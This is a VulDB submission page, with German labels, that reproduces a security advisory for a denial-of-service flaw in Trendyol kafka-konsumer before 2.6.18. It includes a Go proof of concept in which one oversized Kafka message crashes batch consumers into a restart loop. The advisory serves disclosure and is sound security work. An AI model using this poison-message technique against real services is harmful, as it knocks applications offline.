| Titel | Trendyol kafka-konsumer < 2.6.18 Denial of Service (DoS) |
|---|
| Beschreibung | Summary
When BatchConfiguration.MessageGroupByteSizeLimit is enabled, a producer able to write to the consumed Kafka topic can publish a single message larger than that limit and crash the consumer process. The message is not committed, so a managed restart can replay it and cause a crash loop.
Details
Details
In batch_consumer.go, chunkMessagesOptimized checks whether adding a message would exceed the configured chunk byte limit. If the current chunk is empty, it calls panic instead of returning an error or handling the record. batchConsumer.consume calls this function while flushing batches, before dispatching messages to the application callback and before committing their offsets.
A single oversized record can therefore terminate the whole Go process. Because the offset is not committed before the panic, restarting the consumer can replay the same record and crash again. This affects batch consumers configured with a positive MessageGroupByteSizeLimit; the record must also be within the Kafka broker and reader size limits.
Relevant source: batch_consumer.go:204–225 and batch_consumer.go:245–264.
Proof of concept
Create a Kafka topic named input on a broker at localhost:9092. Start a consumer configured as follows:
consumer, err := konsumer.NewConsumer(&konsumer.ConsumerConfig{
Reader: konsumer.ReaderConfig{
Brokers: []string{"localhost:9092"},
Topic: "input",
GroupID: "crash-repro",
MaxBytes: 2 << 20,
},
Concurrency: 1,
BatchConfiguration: &konsumer.BatchConfiguration{
MessageGroupLimit: 1,
MessageGroupByteSizeLimit: 1024,
BatchConsumeFn: func([]*konsumer.Message) error {
return nil
},
},
})
if err != nil {
log.Fatal(err)
}
consumer.Consume()
select {}
Using github.com/segmentio/kafka-go, publish a message whose value is larger than 1,024 bytes:
writer := &kafkaio.Writer{
Addr: kafkaio.TCP("localhost:9092"),
Topic: "input",
}
defer writer.Close()
err := writer.WriteMessages(
context.Background(),
kafkaio.Message{Value: bytes.Repeat([]byte("A"), 1025)},
)
if err != nil {
log.Fatal(err)
}
Expected result: the consumer process terminates with a panic containing invalid chunk byte size; BatchConsumeFn is not reached.
Impact
Denial of service against applications using this library in batch mode with a byte-size limit. An attacker needs permission to publish to the consumer’s Kafka topic. A poison record can keep the service in a crash loop if a supervisor restarts it. No confidentiality or integrity impact is expected. |
|---|
| Quelle | ⚠️ https://github.com/Trendyol/kafka-konsumer/security/advisories/GHSA-jjgw-p88q-qrxr |
|---|
| Benutzer | efek (UID 102374) |
|---|
| Einreichung | 23.10.2026 04:39 (vor 26 Tagen) |
|---|
| Moderieren | 18.11.2026 08:08 (26 days later) |
|---|
| Status | Duplikat |
|---|
| VulDB Eintrag | 432884 [Trendyol kafka-konsumer bis 2.6.17 Batch Consumer batch_consumer.go Denial of Service] |
|---|
| Punkte | 0 |
|---|